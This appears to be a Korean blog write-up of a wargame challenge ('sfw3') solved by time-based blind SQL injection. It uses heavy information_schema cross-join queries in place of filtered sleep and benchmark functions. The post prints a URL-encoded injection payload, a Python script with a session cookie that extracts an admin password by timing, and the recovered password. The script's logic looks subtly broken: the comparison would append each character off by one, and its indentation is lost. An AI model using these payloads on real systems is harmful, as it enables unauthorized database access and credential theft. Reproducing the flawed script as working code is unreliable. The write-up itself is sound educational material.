sfw3번입니다. 이 문제를 처음 풀 때는 sleep, benchmark 함수가 필터링으로 막혀있길래 저는 당연히 에러 기반 sql injection 문제로 알고 삽질을 했습니다. 하지만 아무리 에러 기반으로 풀어도 별다른 실마리를 발견하지 못했습니다. 그래서 이 문제를 내준 동아리 친구에게 물어보니 time based SQL injection 문제라는 이야기를 듣고 충격을 좀 받았습니다.
그래서 열심히 구글링과 삽질을 통해 sleep함수와 benchmark 함수 없이 time based sql injection 방법을 검색해보니 헤비 쿼리를 이용한 방법이 있었습니다. 이 방법은 benchmark함수와 비슷하게 굉장히 큰 값을 db에서 가져와서 시간을 지연시키는 방식입니다. 여기서 사용한 쿼리는 (select count(*) from information_schema.columns A, information_schema.columns B) 이 부분이였습니다. 이 구문을 쓰게 되면 information schema에서 큰 데이터들을 가져오게 되고 시간 지연이 되게 됩니다. 그렇게 해서 일단 비밀번호 길이가 구해지는지 테스트를 했습니다.
pw=%27%20or%20if(id=%27admin%27%20%26%26%20length(pw)<13,(select%20count(*)%20from%20information_schema.columns%20A,%20information_schema.columns%20B),1)을 통해서 크롬의 개발자도구에서 시간을 확인했고 대략 4~5초 정도 지연시간이 걸려서 비밀번호의 길이가 12인 것을 알아냈습니다.
import requests
import time
url='http://sfwebstudy.ml/sfw3/sfw3.php?'
header={'Cookie':'PHPSESSID=5kpcuj6ch9mccgh4rd4vaohkml'}
ch = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@$^*-+=~`"
pw=''
for i in range(1,14):
for j in range(33,127):
send=time.time()
query="pw=' or if(id='admin' %26%26 ascii(substr(pw,{},1))<{},(select count(*) from information_schema.columns A, information_schema.columns B),1);%00".format(i,j)
result=requests.get(url+query,headers=header)
re=time.time()
if (re-send) > 2:
pw+=chr(j)
break
print pw
그리고 위의 코드를 통해 비밀번호를 알아낸 뒤 문제를 해결했습니다. 이 문제는 비밀번호를 맞춰도 해결 문구가 뜨지 않아서 출제자에게 직접 확인을 받았습니다.
비밀번호 : lov2lik23000
'웹 > sfw' 카테고리의 다른 글
sfw6 (XSS) (0) | 2021.01.08 |
---|---|
sfw5 (information schema SQL injection) (0) | 2021.01.08 |
sfw4 (error based SQL injection) (0) | 2021.01.08 |
sfw2 (blind SQL injection) (0) | 2021.01.08 |
sfw1 (simple SQL injection) (0) | 2021.01.08 |